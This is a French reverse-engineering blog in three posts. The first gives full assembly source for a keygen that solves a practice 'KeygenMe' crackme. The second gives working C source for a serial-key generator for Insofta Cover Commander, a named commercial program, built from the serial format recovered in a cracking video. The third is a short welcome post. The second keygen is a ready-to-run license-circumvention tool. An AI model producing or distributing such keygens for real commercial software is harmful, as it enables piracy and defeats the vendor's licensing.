jne @B                                 ; Boucle si le résultat du cmp précédent n'a pas été égal à 0, c'est à dire si ecx, le compteur, n'a pas été égal au nombre de chars du nom.
IMUL EAX,EAX,6                         ; Multiplie le char pécédemment xoré par 6.
SHL EBX,7                              ; Multiplie ebx par 2^7.
ADD EAX,EBX                            ; Additionne eax à ebx.

Lors de cette opération : ADD EAX,EBX
On a :
- eax qui est la valeur hexadécimale du dernier char multiplié par 6.
- ebx : la somme de tous les chars xorés, multipliés par 2^7.

Je vous laisse cogiter …

Keygen.asm :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
.386
.model flat,stdcall
option casemap:none

; Include sur les librairies utilisées :
include Keygen.inc


; Les variables déclarées :
.data

Format                         db       "%X",0
Message                        db       "Entrez moins de caractères !",0
MessageShort                   db       "Entrez plus de caractères !",0
WinTitle                       db       "First Keygen By int_0x80",0

; Les variables non déclarées :
.data?

hInstance                      HINSTANCE       ?
NameBuffer                     db       50 dup(?)
SerialBuffer                   db       50 dup(?)
LenName                        db       50 dup(?)

.code

start:

    invoke GetModuleHandle, NULL
    mov hInstance, eax
    AllowSingleInstance addr WinTitle          
    ; Cette macro limite le programme à une instance.

    invoke DialogBoxParam, hInstance, IDD_KEYGEN, NULL, addr DlgProc, NULL
    invoke ExitProcess, eax

   
; Début des procédures du dialogue :
DlgProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM  ; http://msdn.microsoft.com/en-us/library/ms645469(VS.85).aspx

.if uMsg == WM_INITDIALOG                  
    invoke  LoadIcon,hInstance,MyIcon          
    invoke  SendMessage,hWnd,WM_SETICON,1,eax
    invoke  GetDlgItem,hWnd,IDC_NAME
    invoke  SetFocus, eax      
    invoke  uFMOD_PlaySong, IDM_MUSIK, 0, XM_RESOURCE        ; Play SFX :)
   
.elseif uMsg == WM_COMMAND
        mov eax,wParam
       
.if eax == IDC_GENERATE
    invoke GetDlgItemText,hWnd,IDC_NAME,addr NameBuffer,sizeof NameBuffer
    CALL Generate
    invoke SetDlgItemText,hWnd,IDC_SERIAL,addr SerialBuffer
   
.elseif eax == IDC_COPY
    invoke SendDlgItemMessage,hWnd,IDC_SERIAL,EM_SETSEL,0,-1
    invoke SendDlgItemMessage,hWnd,IDC_SERIAL,WM_COPY,0,0
   
.elseif eax == IDC_EXIT
    invoke SendMessage,hWnd,WM_CLOSE,0,0
.endif

.elseif uMsg == WM_CLOSE
    invoke EndDialog,hWnd,0
.endif

        xor eax,eax         ; MOV eax, 0
        xor ecx, ecx        ; MOV ecx, 0
        Ret
       
DlgProc EndP
; Fin de la procédure du dialogue.

;//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

; Génération du serial
Generate proc  hWnd:HWND

        invoke lstrlen,addr NameBuffer
        mov dword ptr [LenName], eax           ; Stockage de eax dans LenName .
        cmp eax, 04h                           ; On compare la taille à 4d.
        jl NoInput                             ; On saute si inférieur, le je saute si c'est égal.
        cmp eax, 32h                           ; Puis on la compare à 50d (50 chars max).
        ja Erreur                              ; On saute vers le label appelé 'erreur' si supérieur.
        xor eax, eax                           ; MOV eax, 0
        xor ebx, ebx                           ; MOV ebx, 0
        xor ecx, ecx                           ; MOV ecx, 0
        xor edx, edx                           ; MOV edx, 0

; Routine
@@:
        MOV AL,BYTE PTR [ecx+NameBuffer]       ; Met dans AL chaque char du name un par un à chaque fois que ça boucle ( car ECX est incrémenté ligne suivante ).
        INC ECX                                ; Incrémentation de ECX pour le définir comme compteur de chars contenus dans le name.
        XOR EAX,ECX                            
        ADD EBX,EAX                            ; Additionne eax à ebx. eax contenant les chars du name.
        CMP ECX,DWORD PTR [LenName]            ; Compare le nombre de chars du compteur au nombre de chars du name.
        jne @B                                 ; Boucle si le résultat du cmp précédent n'a pas été égal à 0, c'est à dire si ecx, le compteur, n'a pas été égal au nombre de chars du nom.
        IMUL EAX,EAX,6                         ; Multiplie le char pécédemment xoré par 6.
        SHL EBX,7                              ; Multiplie ebx par 2^7.
        ADD EAX,EBX                            ; Additionne eax à ebx.
; Fin de la routine.


; Conversion du sérial :
    invoke wsprintf,addr SerialBuffer,addr Format,eax    ; wsprintf --> http://msdn.microsoft.com/en-us/library/aa450993.aspx      
        Ret
; Fin de la procédure de génération du serial.

; On arrive ici si il n'y a pas de nom entré :
NoInput:
    invoke SetDlgItemText,hWnd,IDC_SERIAL, addr MessageShort
        Ret

; On arrive ici si le nom fait plus de 20 caractères :
Erreur :
    invoke SetDlgItemText,hWnd,IDC_SERIAL, addr Message
        Ret

;//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

Generate endp

end start
; Fin du programme



Keygen.inc :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
; Includes sur les librairies utilisées :
include MyMacros.asm
include windows.inc
include user32.inc
include kernel32.inc
include comctl32.inc
include winmm.inc
includelib kernel32.lib
includelib user32.lib
includelib comctl32.lib
includelib winmm.lib
include SFX/ufmod.inc                 ; Pour la musique.
includelib SFX/ufmod.lib              ; Aussi pour la musique.


; Prototype des fonctions :
DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD

; Définition des constantes ici :
IDD_KEYGEN                 equ 1001
IDC_NAME                   equ 1002
IDC_SERIAL                 equ 1003
IDC_GENERATE               equ 1004
IDC_COPY                   equ 1005
IDC_EXIT                   equ 1006
LOGO                       equ 1007
MyIcon                     equ 1008
IDM_MUSIK                 equ 1009




Keygen.rc :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#define IDD_KEYGEN 1001
#define IDC_NAME 1002
#define IDC_SERIAL 1003
#define IDC_GENERATE 1004
#define IDC_COPY 1005
#define IDC_EXIT 1006
#define LOGO 1007
#define Serial 1011
#define Name 1012
#define MyIcon 1013
#define IDM_MUSIK 1009

LOGO BITMAP DISCARDABLE "int_0x800.bmp"
MyIcon ICON DISCARDABLE "favicon.ico"
IDM_MUSIK RCDATA DISCARDABLE "SFX/Class cracktro #15.xm"

IDD_KEYGEN DIALOGEX 0,0,262,215
CAPTION "First Keygen By int_0x80"
FONT 8,"MS Sans Serif"
STYLE 0x10cc0000
EXSTYLE 0x00000000
BEGIN
    CONTROL "#1007",LOGO,"Static",0x1080020e,-7,0,277,222,0x00000000
    CONTROL "Your Name",IDC_NAME,"Edit",0x50010080,53,92,191,19,0x00000200
    CONTROL "",IDC_SERIAL,"Edit",0x50010080,53,120,191,19,0x00000200
    CONTROL "Generate",IDC_GENERATE,"Button",0x50010000,17,166,51,16,0x00000000
    CONTROL "Serial:",Serial,"Static",0x50000001,7,123,37,13,0x00000000
    CONTROL "Name:",Name,"Static",0x10000001,7,95,37,13,0x00000000
    CONTROL "Exit",IDC_EXIT,"Button",0x50010000,190,166,51,16,0x00000000
    CONTROL "Copy",IDC_COPY,"Button",0x50010000,103,166,51,16,0x00000000
END



MyMacros.asm :

1
2
3
4
5
6
7
8
9
10
11
12
AllowSingleInstance MACRO lpTitle
        invoke FindWindow,NULL,lpTitle
        cmp eax, 0
        je @F
          push eax
          invoke ShowWindow,eax,SW_RESTORE
          pop eax
          invoke SetForegroundWindow,eax
          mov eax, 0
          ret
        @@:
      ENDM





Voici à quoi ressemble le miens :



J’ai entré ‘int0x80′ en name, et j’ai cliqué sur Generate. Le serial que l’on me propose est : ’139CA’.
Retournons vers notre KeygenMe & essayons le serial …



W00t ! KeygenMe Keygenné ! Bien joué ! Si vous galérez pour coder votre keygen, n’hésitez pas à jeter un œil au miens que voici :
(exécutable + sources) —> http://re-xe.com/wp-content/uploads/2010/11/KeyGen.zip

Have fun et bon courage pour la suite ! Greetz to Horgh pour m’avoir aidé à coder ce Keygen !

Publié dans Keygen | Marqué avec | Un commentaire

Keygen for PapaBango

Hello, je vous propose de regarder une vidéo réalisée par PapaBango qui démontre comment trouver le serial décomposé dans une routine :

http://re-xe.com/wp-content/uploads/2010/11/In_s_o_ft_a_C_o-v_e_rCo.swf.zip

Après avoir visionné cette vidéo, l’envie de coder le keygen me prit tout à coup.

L’algo est super simple :

  • Le serial généré doit faire 41 caractères.
  • Le premier caractère doit être aléatoire.
  • Le deuxième caractère doit être un ‘Z’.
  • Le troisième caractère doit être un ’3′.
  • Les 31 caractères qui suivent doivent être aléatoires.
  • Les 7 caractères en fin de string doivent être : ‘-EEFJKJ’.

Je vous paste ci-dessous le code. Vous remarquerez que je ne l’ai pas commenté du fait qu’il soit relativement simple. Vous n’aurez donc aucun mal à le lire et à le comprendre. Pour toute question, n’hésitez pas : Contactez-moi.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>

int main(void)
{
    char nick[30];
    char key[41];
    char endkey[] = "-EEFJKJ";
    char c;
    int i;
   
    srand(time(NULL));
    c = (rand() % (90 - 65 + 1)) + 65;
   
       printf (
          "#######################################################################################\n"
          "###################### Keygen by int_0x80 & lechienkitu © 2010 ########################\n"
          "############## For Insofta Cover Commander cracked by PapaBango #######################\n"
          "########## Tuto Vidéo : comment trouver le serial décomposé dans une routine ##########\n"
          "#######################################################################################\n\n\n"
         );
        printf ("Enter your name : ");
    fgets(nick, 30, stdin);

    memset (key, 0, sizeof (key));
    key[0] = c;
    key[1] = 'Z';
    key[2] = '3';
   
    for(i=3;i<=33;i++)
         key[i] = (rand() % (90 - 65 + 1)) + 65;
    strcat(key, endkey);   
    printf("Serial : %s\n\nPress enter to exit ...",key);
        getchar();
   
    return 0;
}

PS : Merci à lechienkitu pour le coup de mains.

Publié dans Keygen | Marqué avec , | Laisser un commentaire

Hello

Hello !
C’est après un long moment de réflexion ( une minute ) que Ryscrow, int_0x80 & Horgh ont décidé d’ouvrir quelque chose qui ressemble à un blog.
Hé oui! En vue de faire évoluer nos connaissances en RE, nous vous proposons ce blog (très chic je l’avoue).
C’est ici que nous publierons nos trouvailles faramineuses ainsi que nos bouts de codes qui envoient du pâté (ou pas).
Bienvenue à vous, en espérant que nos récits vous passionne.
Publié dans Non classé | Laisser un commentaire